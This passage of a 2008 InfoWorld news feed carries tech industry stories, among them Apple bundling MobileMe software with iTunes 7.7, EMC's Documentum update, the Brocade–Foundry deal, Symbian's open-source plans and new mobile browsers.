target="_blank" href="http://www.computerworld.com/action/inform.do?command=search&amp;searchTerms=Apple+iTunes">iTunes</a> 7.7 -- the second time this year that it&#39;s bundled new software with an update for an existing program.</p><p align="right"><a href="http://ad.doubleclick.net/jump/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" target="_blank" /><img src="http://ad.doubleclick.net/ad/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" width="336" height="280" border="0" alt="" align="right"/></a></p><p page="1" class="ArticleBody">The anti-malware organization that rebuked Apple for similar tactics in April said it has not had a chance to investigate, but on a general level the group objects to software that&#39;s installed without prior user approval or knowledge.</p><p page="1" class="ArticleBody"><b>[ Read the related story &quot;<a href="http://www.infoworld.com/article/08/06/19/MobileMe_What_you_need_to_know_1.html">MobileMe: What you need to know</a>.&quot; And discover the top-rated IT products as rated by the <a href="http://www.infoworld.com/testcenter/?source=fssr">InfoWorld Test Center</a>. ]</b></p><p page="1" class="ArticleBody">Computerworld has confirmed that installing iTunes 7.7, the version required to access Apple&#39;s new iPhone- and iPod touch-specific App Store, also installs a MobileMe control panel in both Windows XP and Windows Vista. The control panel, dubbed &quot;MobileMe Preferences,&quot; is used by subscribers to log into the service, set sync options for Outlook or Internet Explorer, and access MobileMe&#39;s online storage.</p><p page="1" class="ArticleBody">People who are not yet subscribers are taken to an Apple marketing Web site if they click on the &quot;Learn More&quot; button under a &quot;Try MobileMe&quot; heading.</p><p page="1" class="ArticleBody">The end-user licensing agreement (EULA) that accompanies the iTunes 7.7 update makes no mention of the MobileMe software that&#39;s installed on the PC, nor are there any notifications elsewhere during the setup procedure. Also, uninstalling iTunes does not uninstall the MobileMe control panel applet. Instead, users must select &quot;Apple Mobile Device Support&quot; from the &quot;Add or Remove Programs&quot; applet in XP or &quot;Uninstall or change a program&quot; in Vista to uninstall the software.</p><p page="1" class="ArticleBody">Apple&#39;s decision to include the MobileMe preferences applet without telling users <a target="_blank" href="http://blogs.computerworld.com/apple_snaeks_mobileme_into_vista">reminded some of the dustup</a> last spring when the Cupertino, Calif. company <a target="_blank" href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;articleId=9070558">offered Safari 3.1 to Windows users</a> via the Apple Software Update tool, even if they hadn&#39;t had Apple&#39;s browser on their PCs previously.</p><p page="1" class="ArticleBody">Back in April, Mozilla Corp., which develops the Firefox open-source browser, objected to the practice, with its CEO, John Lilly, <a target="_blank" href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;articleId=9071599">saying</a> that the practice &quot;borders on malware distribution practices.&quot; Stopbadware.org, an anti-malware advocacy group founded by Google, Lenovo Group, and Sun Microsystems, notified Apple it would soon issue a &quot;badware&quot; alert for Software Update because of the tactics. Apple made that alert moot, however, when it <a target="_blank" href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;articleId=9078738">changed the updating tool</a> so that it separated updates for already-installed programs from offers to install new software.</p><p page="1" class="ArticleBody">Maxim Weinstein, manager of Stopbadware.org., stopped short on Monday of calling Apple&#39;s newest move a repeat of the Safari incident. &quot;We haven&#39;t had an opportunity to look at it, so we don&#39;t have a formal evaluation,&quot; he said. &quot;But our guidelines require and the [user] community expects that when an application installs new or different functionality that users are notified and able to consent to that.&quot;</p><p page="1" class="ArticleBody">Weinstein said that Stopbadware.org would probably look into the MobileMe-iTunes situation in the next week or two.</p><p page="1" class="ArticleBody">MobileMe, which has had a <a target="_blank" href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;taxonomyId=89&amp;articleId=9110400">rocky start</a> since its launch a week and a half ago, synchronizes e-mail, contacts and calendars on multiple Macs, PCs, iPhones, and iPod touches; provides Web-based e-mail, contact and scheduling applications; and offers 20GB of storage space for an annual fee of $99.</p><p page="1" class="ArticleBody"><a target="_blank" href="http://www.computerworld.com/index.jsp"><em>Computerworld</em></a><em>&#160;is an InfoWorld affiliate.</em></p></div> Tue, 22 Jul 2008 14:23:14 GMT http://www.infoworld.com/article/08/07/22/Apple_pushes_MobileMe_surprise_to_XP_Vista_1.html 2008-07-22T14:23:14Z EMC revamps content management platform http://www.infoworld.com/cgi-bin/redirect?source=rss&url=http://www.infoworld.com/article/08/07/22/EMC_revamps_content_management_platform_1.html <div class="rxbodyfield"><p class="ArticleBody" page="1"><a href="http://www.networkworld.com/news/financial/emc.html">EMC</a> is upgrading its Documentum enterprise content management platform with <a href="http://www.networkworld.com/news/2008/052108-chambers-web-2.html" target="_blank">several Web 2.0 tools</a> and a software server designed to improve performance of &quot;mass-volume applications&quot; including archiving and transactional content systems.</p><p align="right"><a href="http://ad.doubleclick.net/jump/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" target="_blank" /><img src="http://ad.doubleclick.net/ad/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" width="336" height="280" border="0" alt="" align="right"/></a></p><p class="ArticleBody" page="1">The Version 6.5 release of EMC Documentum, announced Tuesday, features four new add-ons, including a Web page builder; a rich media interface for reviewing, annotating and sharing rich media files; a personalized client giving users quick access to frequently used content; and new team workspaces.</p><p class="ArticleBody" page="1"><b>[ Discover the top-rated IT products as rated by the <a href="http://www.infoworld.com/testcenter/?source=fssr">InfoWorld Test Center</a>. ]</b></p><p class="ArticleBody" page="1">EMC also unveiled its Documentum High-Volume Server, which offers &quot;high-speed ingestion, <a href="http://www.networkworld.com/news/2007/031407-active-batch-job-scheduling.html?page=1" target="_blank">batch processing</a> [and a] lightweight footprint for <a href="http://www.networkworld.com/news/2007/062707-ibm-metadata.html" target="_blank">metadata</a> and data portioning,&quot; technologies designed to keep high-volume applications running smoothly.</p><p class="ArticleBody" page="1">EMC is just the latest vendor to hop on the Web 2.0 craze, taking advantage of a trend in which businesses are using more interactive collaboration tools delivered over Web interfaces. <a href="http://www.networkworld.com/news/2008/052108-chambers-web-2.html" target="_blank">Cisco</a>, <a href="http://www.networkworld.com/news/2008/013008-forrester-predictions.html?page=1" target="_blank">Microsoft</a>, <a href="http://www.networkworld.com/news/2007/110707-ibm-microsoft-sap-lag-web20.html" target="_blank">IBM</a>, and a raft of startups have charged into the Web 2.0 market as well.</p><p class="ArticleBody" page="1">With the success of social networking sites geared toward consumers such as Facebook, Flickr, and Del.icio.us, similar tools are trickling into the enterprise, notes Whitney Tidmarsh, vice president of marketing for content management.</p><p class="ArticleBody" page="1">&quot;The appeal of those tools is pretty self-evident. It&#39;s just a great way to interact with people,&quot; Tidmarsh says. &quot;I think IT has been cautious and to some degree fearful about what bringing social networking tools in to the enterprise might mean from a <a href="http://www.networkworld.com/news/2008/071508-employees-social-networking.html?fsrc=netflash-rss" target="_blank">security</a> and volume perspective.&quot;</p><p class="ArticleBody" page="1">The new Web 2.0 add-ons for Documentum will be available either for free or a &quot;nominal&quot; fee that EMC did not disclose. Any charge would be in addition to the base platform. For 100 users, businesses can expect packages starting at $25,000 to $50,000, Tidmarsh says. A global customer with 100,000 employees could easily pay millions of dollars, she says.</p><p class="ArticleBody" page="1">The Web 2.0 add-ons include Documentum CenterStage Essentials, which features shared team workspaces and &quot;guided search.&quot; Similar to iTunes, where you can search by genre or album, EMC is giving customers the option of searching documents by keywords, authors, format type and other categories.</p><p class="ArticleBody" page="1">CenterStage will be available as a free online beta next month and will be generally available by the end of the year, according to Tidmarsh.</p><p class="ArticleBody" page="1">The other new Documentum products will start shipping July 31.</p><p class="ArticleBody" page="1">Media WorkSpace, another new item, will be available at no extra charge to customers who have a license for Documentum <a href="http://www.emc.com/products/detail/software/digital-asset-manager.htm" target="_blank">Digital Asset Manager</a>, which uses a Web-based interface to manage digital content like product images, streaming video, logos, flash animations, and presentations.</p><p class="ArticleBody" page="1">Media WorkSpace gives users a &quot;highly personalized, dynamic and familiar way to view, find compare, annotate, review, and share rich media assets,&quot; EMC states.</p><p class="ArticleBody" page="1">The final two new releases, Web Publish Page Builder and My Documentum, will both require an extra payment in addition to regular Documentum license fees. The page builder tool is an Adobe Flex-based Web authoring interface that gives non-technical business users the ability to create attractive Web pages, EMC says.</p><p class="ArticleBody" page="1">My Documentum integrates Documentum with programs like Microsoft Outlook and Windows Explorer, &quot;providing users with immediate access to the latest versions of content they use most often as well as allowing them to access and work on documents when they are not connected to the server,&quot; EMC states.</p><p class="ArticleBody" page="1"><em><a href="http://www.networkworld.com/" target="_blank">Network World</a></em><em>&#160;is an InfoWorld affiliate</em></p></div> Tue, 22 Jul 2008 14:09:00 GMT http://www.infoworld.com/article/08/07/22/EMC_revamps_content_management_platform_1.html 2008-07-22T14:09:00Z Cast Iron adds data-cleansing to integration appliance http://www.infoworld.com/cgi-bin/redirect?source=rss&url=http://www.infoworld.com/article/08/07/22/Cast_Iron_adds_datacleansing_to_integration_appliance_1.html <div class="rxbodyfield"><p page="1" class="ArticleBody">Cast Iron Systems, maker of an appliance for integrating SaaS and on-premise applications, is introducing a new version that adds data cleansing and migration tools, along with a library of prebuilt integration templates for connecting many commercial software-as-a-service products.</p><p align="right"><a href="http://ad.doubleclick.net/jump/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" target="_blank" /><img src="http://ad.doubleclick.net/ad/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" width="336" height="280" border="0" alt="" align="right"/></a></p><p page="1" class="ArticleBody">The iA4000 series is also available in hosted form. Customers are &quot;starting to demand more out of the processes associated with a SaaS application, and integration is the key to that,&quot; said CEO Ken Com&#233;e. For example, a user of a hosted CRM (customer relationship management) system may want to plug their help-desk system into it, he said.</p><p page="1" class="ArticleBody"><b>[Get expert SOA insights from InfoWorld&#39;s <a href="http://weblog.infoworld.com/realworldsoa/?source=fssr">Real World SOA blog</a>.&#160;]</b></p><p page="1" class="ArticleBody">Cast Iron developed the data-profiling and conversion functionality on its own. But the company is not looking to compete head-to-head with heavy-duty data-cleansing tools sold by the likes of Informatica, and instead is trying to provide a one-stop shop for a typical SaaS customer&#39;s or independent software vendor&#39;s integration requirements.</p><p page="1" class="ArticleBody">&quot;Could you always bring in an extra tool? The answer is yes,&quot; Com&#233;e said. &quot;But we bring it all in one appliance.&quot;</p><p page="1" class="ArticleBody">Beyond the templates, Cast Iron also provides a separate visual designer for mapping data to business processes.</p><p page="1" class="ArticleBody">Cast Iron, located in Mountain View, California, was formed in 2001 and claims to have hundreds of customers, including British American Tobacco, Peet&#39;s Coffee &amp; Tea and the Sports Authority.</p><p page="1" class="ArticleBody">The company generally targets the midmarket, where companies have limited IT resources. It views its competition largely as in-house developers, as opposed to other data integration vendors, said Chandar Pattabhiram, vice president of product marketing.</p><p page="1" class="ArticleBody">One Cast Iron customer, the location-based mobile business application provider Gearworks, beta-tested the iA4000 product and is currently using it, said CTO Rob Juncker.</p><p page="1" class="ArticleBody">He called the templates &quot;extremely useful&quot; and said new data-cleansing functions help the Eagan, Minnesota, company &#39;&#39;make sure data coming into our system is meeting requirements.&quot;</p><p page="1" class="ArticleBody">Pricing for Cast Iron starts at $1,500 per month. The iA4000 sells for $4,500.</p></div> Tue, 22 Jul 2008 13:42:09 GMT http://www.infoworld.com/article/08/07/22/Cast_Iron_adds_datacleansing_to_integration_appliance_1.html 2008-07-22T13:42:09Z New mobile browsers bringing real Web to handhelds http://www.infoworld.com/cgi-bin/redirect?source=rss&url=http://www.infoworld.com/article/08/07/22/New_mobile_browsers_bringing_real_Web_to_handhelds_1.html <div class="rxbodyfield"><p page="1" class="ArticleBody">A new generation of mobile Web browsers is finally making the Web a reality on handheld devices.</p><p align="right"><a href="http://ad.doubleclick.net/jump/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" target="_blank" /><img src="http://ad.doubleclick.net/ad/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" width="336" height="280" border="0" alt="" align="right"/></a></p><p page="1" class="ArticleBody">The latest example is last week&#39;s beta launch of <a target="_blank" href="www.opera.com/products/mobile">Opera Mobile 9.5</a>, a native Web browser for high-end <a target="_blank" href="http://www.networkworld.com/topics/pdas.html">smartphones</a>. It&#39;s an evolutionary release for the Norwegian software company, but it comes just days after <a target="_blank" href="http://www.networkworld.com/news/financial/apple.html">Apple</a>&#39;s iPhone 3G, with its highly capable Safari browser, went on sale. Other brand-new entrants, such as Mobile Firefox and Skyfire, are expected later this year, at least in beta form.&#160;( <a target="_blank" href="http://www.networkworld.com/slideshows/2008/072108-mobile-browsers.html">See slideshow of new mobile browsers</a>.)</p><p page="1" class="ArticleBody"><b>[ Get the latest on mobile developments with InfoWorld&#39;s <a href="http://www.infoworld.com/newsletter/subscribe.html?source=fssr">Mobile Report newsletter</a>. ]</b></p><p page="1" class="ArticleBody">But the evolving mobile browsers are only one part of the picture. Mobile browsing is affected by the client hardware, ranging from the processor to the kind of wireless network being used, all of which have improved markedly. It&#39;s also affected by the design of Web sites being targeted, and there&#39;s new attention being focused on optimizing these sites for mobile users.</p><p page="1" class="ArticleBody">When everything comes together, the results can be impressive. In the United States, the combination of the iPhone&#39;s large screen, touch interface and Safari has given mobile users a new way of viewing the Web: the way they&#39;re used to seeing it with their PC-based Web browsers. Until now, most users struggled with so-called microbrowsers, which typically access separately created and maintained Web content.</p><p page="1" class="ArticleBody">StatCounter reported in March that <a href="http://www.apple.com/safari">Safari</a> /iPhone was the No. 1 mobile browser in the United States, and No. 2 globally, trailing the <a target="_blank" href="http://www.nokia.com/">Nokia</a> Web browser. Google released <a href="http://www.nytimes.com/2008/01/14/technology/14apple.html?_r=1&amp;oref=slogin">data</a> in January showing that Christmas traffic to its site from iPhone users outstripped all other mobile devices, at a point when the iPhone had just 2 percent of the smartphone market.</p><p page="1" class="ArticleBody">The lesson was clear: Give mobile users a browser they could actually use . . . and they&#39;d use it.</p><p page="1" class="ArticleBody"><strong>No more second-class browsing</strong></p><p page="1" class="ArticleBody">&quot;Mobile browsing was considered a second-class citizen on the Web,&quot; says Matt Womer, the Mobile Web Initiative Lead, Americas, with the Worldwide Web Consortium (W3C). &quot;You had to serve completely different content, with a different markup [language] and different protocols.&quot; Those were the days of such early browsers as Phone.com/OpenWave, and the Wireless Access Protocol (WAP), a markup for creating mobile-friendly Web content.</p><p page="1" class="ArticleBody">The iPhone Safari browser, though not the first full Web browser for handhelds, crystallized a huge change in thinking. &quot;There&#39;s [now] a convergence of the desktop Web and the mobile device Web,&quot; says Mike Rowehl, scalability architect for start-up Skyfire Labs, which is <a target="_blank" href="http://www.networkworld.com/news/2008/070908-skyfire-qa.html">creating</a> a thin-client mobile browser, with most of the heavy-lifting work being done by the core Firefox desktop browser running on servers. &quot;The iPhone really cracked that open, and people are starting to think differently about the services on their device.&quot;</p><p page="1" class="ArticleBody">&quot;People browsing the Web from a mobile device don&#39;t expect an &#39;alternative universe&#39; which lacks features they&#39;re used to,&quot; says Jay Sullivan, vice president of mobile for Mozilla, overseeing the <a target="_blank" href="http://www.networkworld.com/news/2008/070908-mozilla-mobile-firefox.html?tc=wm">Mobile Firefox</a> project, which will shortly release its alpha test version.</p><p page="1" class="ArticleBody"><strong>Next generation of mobile browsers</strong></p><p page="1" class="ArticleBody">There is a range of vendors vying to win the browsing allegiance of mobile users. Opera Software launched one of the earliest of these browsers in 2000, Opera Mobile. The company says the 9.5 release will rival desktop browsing in <a target="_blank" href="http://www.networkworld.com/news/2008/020508-opera-mobile-claims-desktop-speed.html">speed</a>. In early 2006, Opera Mini was introduced for less-capable phones. Another is the browser widely used in Symbian-based mobile phones, such as those from Nokia. Still another offering is Bitstream&#39;s two-year-old ThunderHawk browser, which the company earlier this year ported to Qualcomm&#39;s Binary Runtime Environment for Wireless (BREW) , a Java-based application development platform for mobile phones, to make for the first mass-market release of the browser.</p><p page="1" class="ArticleBody">In development are Mobile Firefox, a client browser, and <a target="_blank" href="http://www.networkworld.com/news/2008/012808-startup-sets-full-mobile-browser.html">Skyfire</a>, with a thin client working with desktop Firefox 3.0 running on servers.</p><p page="1" class="ArticleBody">All of them have in common powerful, modern rendering engines, which make it possible for the browsers to display Web sites that look like those you see with a desktop browser. Safari and the Nokia browser use the same rendering engine: the open source <a href="http://www.webkit.org/">WebKit</a> . All Firefox projects use the same rendering engine, <a target="_blank" href="http://developer.mozilla.org/en/docs/Gecko">Gecko</a>. Opera has over a decade invested in its core engine.</p><p page="1" class="ArticleBody">Programs this powerful and complex, even when highly optimized for memory use, need powerful and complex devices to run on. But currently, most mobile phones are low- to midrange designs.</p><p page="1" class="ArticleBody">&quot;Lots of people have tried to access their favorite Web sites [with the default microbrowser] and failed,&quot; Sampo Kaasila, vice president of R&amp;D for <a target="_blank" href="http://www.bitstream.com/">Bitstream</a>, in Cambridge, Mass. &quot;They conclude &#39;the mobile Web doesn&#39;t work for me.&#39; But with Opera Mini, it will work for e-mail, news and social networking. That&#39;s key for building the industry as a whole.&quot;</p><p page="1" class="ArticleBody"><strong>Thin browsers emerge</strong></p><p page="1" class="ArticleBody">Several vendors are creating thin-client browsers, such as Skyfire, ThunderHawk, and Opera Mini. They run the rendering and other processing on server farms, which have fiber connections to the Internet, and send to the lightweight mobile client simply a representation of the Web page on phones that could never run a full mobile browser.</p><p page="1" class="ArticleBody">With this approach, the vendors also can consistently implement improvements like data compression. Bitstream uses its own compression technology to create what executives say is a 23-to-1 reduction in over-the-air data sizes.</p><p page="1" class="ArticleBody">But many mobile browsers, and the major HTTP server platforms, already support a compression utility called <a target="_blank" href="http://www.gzip.org/">gzip</a> (short for GNU zip), though it apparently is not routinely used, according to Jason Grigsby, vice president and Web strategist for Cloud Four, a Portland, Ore., Web development shop that increasingly focuses on mobile applications.</p><p page="1" class="ArticleBody">When activated on both the browser and Web server, Gzip compresses content typically by 75 percent&#160;to 80 percent on the server before sending it to the browser for decompression. Grigsby, who makes presentation on mobile Web performance, says he constantly hears from Web developers that these kinds of performance issues are new to them.</p><p page="1" class="ArticleBody">In the course of creating an online performance test for mobile browsers, Grigsby and another colleague spent 36 hours trying to figure out why some versions of BlackBerry&#39;s browser displayed the thumbnail-sized test images and others didn&#39;t. It turned out to be a bug in how the browser added an image to the page. &quot;It points to the fact that the [mobile] browser has not been a focus of RIM&#39;s development, and it&#39;s not up to modern browsing standards,&quot; Grigsby says.</p><p page="1" class="ArticleBody"><strong>Trade-offs and frustrations</strong></p><p page="1" class="ArticleBody">For developers the advent of such browsers can bring constant and frustrating trade-offs between industry standards and vendor innovations and extensions. &quot;The iPhone has a whole slough of iPhone-specific Cascading Style Sheet extensions, which let you do things that you can&#39;t do with CSS on other browsers,&quot; says Grigsby. ThunderHawk makes use of Bitstream&#39;s patented font technology, substituting its own fonts and creating several magnification levels to increase the legibility of text on mobile screens.</p><p page="1" class="ArticleBody">&quot;More standardization is needed,&quot; Grigsby says.</p><p page="1" class="ArticleBody">The W3C&#39;s Mobile Web Initiative has created a set of <a target="_blank" href="http://www.w3.org/TR/mobile-bp/">best practices</a> for optimizing Web site design to improve browsing for mobile users. It&#39;s expected to become a formal W3C recommendation in the next two months, says Matt Womer</p><p page="1" class="ArticleBody">But there&#39;s a limit to standardization. Browsing on a given mobile device is highly individualized by the device capabilities, the browser design decisions, and the user&#39;s interaction with both. Every vendor in this article displays a full Web page on a phone screen. But after that, how you work with it can vary widely.</p><p page="1" class="ArticleBody">The iPhone&#39;s touch interface clearly has made browsing easy for users but it&#39;s just as clearly a high-end phone. Mozilla&#39;s Mobile Firefox project is crafting both a touch and a nontouch user interface.</p><p page="1" class="ArticleBody">Bitstream&#39;s ThunderHawk shows at the top of the screen what the company calls a &quot;minimap&quot; of the entire Web page, outlining the section of the page being viewed by the user, with clickable &quot;hotspots&quot; to other parts of the page. The minimap is an aid to navigating the full page quickly.</p><p page="1" class="ArticleBody">Opera Mobile 9.5 borrows from Opera Mini to now show a full Web page, then let users pan and zoom to find and focus on specific areas. A grayed-out upside down &quot;V&quot; on the bottom right of the screen gives one-click access to an overlay page of standard browser buttons and actions.</p><p page="1" class="ArticleBody">It all adds up to new opportunities, and new headaches. &quot;The browser wars are back and this time the battlefield is mobile,&quot; says Grigsby.</p><p page="1" class="ArticleBody"><a target="_blank" href="http://www.networkworld.com/"><em>Network World</em></a><em>&#160;is an InfoWorld affiliate.</em></p></div> Tue, 22 Jul 2008 12:24:53 GMT http://www.infoworld.com/article/08/07/22/New_mobile_browsers_bringing_real_Web_to_handhelds_1.html 2008-07-22T12:24:53Z Symbian: R&D wants motivated open sourcing http://www.infoworld.com/cgi-bin/redirect?source=rss&url=http://www.infoworld.com/article/08/07/22/oscon-symbian_1.html <div class="rxbodyfield"><p class="ArticleBody" page="1">Research and development efficiency, and not competitive concerns about the Google Android or Linux Mobile (LiMo) initiatives, was a chief driver in the decision to make the Symbian mobile platform open source, a Symbian official said Monday afternoon.</p><p align="right"><a href="http://ad.doubleclick.net/jump/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" target="_blank" /><img src="http://ad.doubleclick.net/ad/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" width="336" height="280" border="0" alt="" align="right"/></a></p><p class="ArticleBody" page="1">Symbian, <a href="http://www.infoworld.com/article/08/06/24/Nokia_buys_rest_of_Symbian_will_make_code_open_source_1.html" class="regularArticleU">which is being made an open source project by Nokia</a>, is to be provided by an Eclipse license in the 2009-2010 timeframe, said John Forsyth, vice president of strategy for Symbian, at the <a href="http://www.infoworld.com/article/08/07/21/Linux-set-to-make-mobile-splash_1.html" class="regularArticleU">Open Mobile Exchange</a> conference being held as part of the Open Source Conference (OSCON) in Portland, Ore.</p><p class="ArticleBody" page="1">He acknowledged there has been much speculation about why Symbian, a successful project that he said has a 60 percent share of the mobile market, was going open source. But Symbian has had a lack of research and development efficiency, according to Forsyth. "This was one of our biggest barriers to growth," he said.</p><p class="ArticleBody" page="1">"I think that [Android and LiMo] are not really the motivation behind doing this. I think the biggest motivation behind this is, as I said, R&amp;D efficiency," Forsyth said.</p><p class="ArticleBody" page="1">Explaining research and development efficiency problems, Forsyth said that currently, engineering efforts get duplicated by phone manufacturers. Also, there is no mobile-specific open-source community, which is what Symbian plans to offer.</p><p class="ArticleBody" page="1">Linux, meanwhile, has suffered from fragmentation, he argued. Some of Symbian's customers use Linux and end up with their own specific branch of Linux for mobile usage.</p><p class="ArticleBody" page="1">"It effectively becomes a proprietary platform," said Forsyth.</p><p class="ArticleBody" page="1">Another motivating factor for Symbian is that users do not want a single-source technology provider, he said. Those overseeing Symbian decided that to break through to the next level of success, the platform needed to be free, independent, and neutral.</p><p class="ArticleBody" page="1">Challenges to the open-source project include creating a culture and dealing with customers with different levels of open-source knowledge. The community also must grow in the right way. The foundation plans to design with transparency, get technical authorities who are independent, and give people a voice, said Forsyth.</p><p class="ArticleBody" page="1">"I'm going to wrap up by stating the unbelievably obvious: that we're going to make a lot of mistakes as we do this," Forsyth said.</p><p class="ArticleBody" page="1">Commenting on features, Forsyth said symmetric multiprocessing is anticipated for Symbian in the 2011 timeframe.</p><p class="ArticleBody" page="1">The Symbian foundation will run the open-source project, Forysth said</p></div> Tue, 22 Jul 2008 12:00:00 GMT http://www.infoworld.com/article/08/07/22/oscon-symbian_1.html 2008-07-22T12:00:00Z Brocade to buy Foundry for $3 billion http://www.infoworld.com/cgi-bin/redirect?source=rss&url=http://www.infoworld.com/article/08/07/22/Brocade_to_buy_Foundry_for_3_billion_1.html <div class="rxbodyfield"><p page="1" class="ArticleBody">Storage networking company Brocade Communications Systems has agreed to acquire enterprise LAN vendor Foundry Networks for approximately $3 billion, the companies announced Monday.</p><p align="right"><a href="http://ad.doubleclick.net/jump/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" target="_blank" /><img src="http://ad.doubleclick.net/ad/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" width="336" height="280" border="0" alt="" align="right"/></a></p><p page="1" class="ArticleBody">Brocade said the deal will make it a top provider of networking gear for enterprises and service providers, by allowing it to offer a full line of products that extends from the Internet to wide- and local-area networks and into the datacenter.</p><p page="1" class="ArticleBody"><b>[ Discover the top-rated IT products as rated by the <a href="http://www.infoworld.com/testcenter/?source=fssr">InfoWorld Test Center</a>. ]</b></p><p page="1" class="ArticleBody">The deal has been approved by the boards of both companies and is expected to close in the fourth quarter, pending approval by Foundry&#39;s stockholders and other closing conditions, Brocade said.</p><p page="1" class="ArticleBody">Brocade will pay $18.50 in cash plus about one-tenth of a share of Brocade stock for each share of Foundry, for a total of $19.25 per share. Brocade expects to fund the deal with cash from both companies and $1.5 billion of debt financing.</p><p page="1" class="ArticleBody">Datacenters and enterprise LANs, which typically are built with different network technologies, are widely expected to converge on Ethernet with a still-emerging standard called Fibre Channel over Ethernet (FCoE). Foundry is one of a handful of longtime Ethernet LAN vendors that have lived in the shadow of Cisco Systems.</p><p page="1" class="ArticleBody">&quot;Our business models and technologies are extremely synergistic,&quot; Marty Lans, Brocade senior director of product management for data center infrastructure, said in an interview. Foundry has &quot;the best technology and the broadest set of features,&quot; he said.</p><p page="1" class="ArticleBody">The companies do not expect to make layoffs following the deal, he said.</p><p page="1" class="ArticleBody">Foundry was founded in 1996 and has about 1,100 employees. It posted its preliminary second-quarter financial results Monday. Revenue was $160.7 million, up from $143.2 million in the same quarter last year. Net income was $18.3 million, up from $15.6 million.</p><p page="1" class="ArticleBody">The combined company will be led by Brocade CEO Michael Klayko and will use only the Brocade brand, although product names from Foundry will remain, executives said on a conference call following the announcement. The companies haven&#39;t defined a role for Bobby Johnson, Foundry&#39;s founder, president and CEO, but said the 30-year networking veteran would stay on board.</p><p page="1" class="ArticleBody">&quot;I&#39;m committed to making this happen, and I&#39;m committed to helping Mike and both teams,&quot; Johnson said.</p><p page="1" class="ArticleBody">Brocade executives contrasted the Foundry deal with Brocade&#39;s 2006 acquisition of McData, where there were many overlapping products and a key driver of the deal was cost savings. They expect this buyout to boost revenue and increase Brocade&#39;s earnings beginning in its 2009 fiscal year, which will end in October 2009.</p><p page="1" class="ArticleBody">Customers want to address the challenges of rapid data growth with reliable and integrated systems that reduce complexity, Klayko said.</p><p page="1" class="ArticleBody">&quot;The networks of today, from the Internet, to corporate LANs, to mission-critical datacenters, are undergoing dramatic, dynamic change and architectural reconsideration,&quot; he said.</p><p page="1" class="ArticleBody">The combined company will be the only &quot;alternative&quot; with reach all the way from the Internet to datacenters, he said. Cisco, the dominant LAN and WAN vendor, has that reach today and is a growing force in datacenters, according to Greg Schulz, an analyst at StorageIO.</p><p page="1" class="ArticleBody">Cisco and Brocade are approaching convergence of LANs and datacenter networks from opposite directions, and Brocade needs to bulk up for the fight, Schulz said. The confrontation goes all the way into technology itself, with each company backing a different interim technology on the way to FCoE, which is expected to eventually become the industry standard, he said.</p><p page="1" class="ArticleBody">&quot;It&#39;s very much in the trash-talking, pre-fight runup,&quot; Schulz said.</p><p page="1" class="ArticleBody">However, the Foundry deal won&#39;t affect the timeline for Foundry&#39;s delivery of next-generation products, including FCoE products, Brocade said. Those products are independent of what Foundry brings to the table, but the deal expands Brocade&#39;s scope, they said.</p><p page="1" class="ArticleBody">Brocade brings a higher profile outside the U.S., while Foundry has a strong position in federal government accounts, the companies said. Brocade will continue to sell primarily through OEMs (original equipment manufacturers), while Foundry uses direct sales and channel partners. In at least one case, that could be awkward: Hewlett-Packard is a Brocade OEM and a LAN competitor to Foundry. The executives said discussions have taken place with HP.</p><p page="1" class="ArticleBody">As a possible sign of how much it needs Foundry, Brocade&#39;s offer of $19.25 per share is a significant premium for the company. Foundry shares on the Nasdaq closed Monday, before the announcement, at $13.66. Late Monday, those shares had risen in after-hours trading to more than $18. Brocade had fallen after hours to $7.09 from $8.33 at market close.</p></div> Tue, 22 Jul 2008 11:35:09 GMT http://www.infoworld.com/article/08/07/22/Brocade_to_buy_Foundry_for_3_billion_1.html 2008-07-22T11:35:09Z Japanese browser maker taking on IE, Firefox http://www.infoworld.com/cgi-bin/redirect?source=rss&url=http://www.infoworld.com/article/08/07/22/Japanese_browser_maker_taking_on_IE_Firefox_1.html <div class="rxbodyfield"><p page="1" class="ArticleBody">A Japanese software company is stepping up international promotion of its Web browser in the hope of carving out a 5 percent share over the next few years of a market dominated by Internet Explorer and Firefox.</p><p align="right"><a href="http://ad.doubleclick.net/jump/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" target="_blank" /><img src="http://ad.doubleclick.net/ad/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" width="336" height="280" border="0" alt="" align="right"/></a></p><p page="1" class="ArticleBody">The <a target="_blank" href="http://www.fenrir.co.jp/en/sleipnir/">Sleipnir</a> browser is well-known among Japanese geeks, many of whom value the high level of customization that the browser allows. At the center of this customization is the ability to select either the Trident or Gecko layout engines for each Web site visited. Trident was developed by Microsoft and is used in Internet Explorer while Gecko is used in Mozilla&#39;s Firefox.</p><p page="1" class="ArticleBody"><b>[ Discover the top-rated IT products as rated by the <a href="http://www.infoworld.com/testcenter/?source=fssr">InfoWorld Test Center</a>. ]</b></p><p page="1" class="ArticleBody">As any user who has changed Web browsers knows, some sites look different or offer different functionality depending on the browser in use. By clicking a small button in the bottom left of the browser and switching between Trident and Gecko users can choose the best one for the particular site.</p><p page="1" class="ArticleBody">Fenrir, which is based in Osaka, began development of the browser in 2005 and has been offering an English version alongside its main Japanese version for some time but decided to step-up promotion overseas after noticing demand rising for the browser from international users, said Yasuhiro 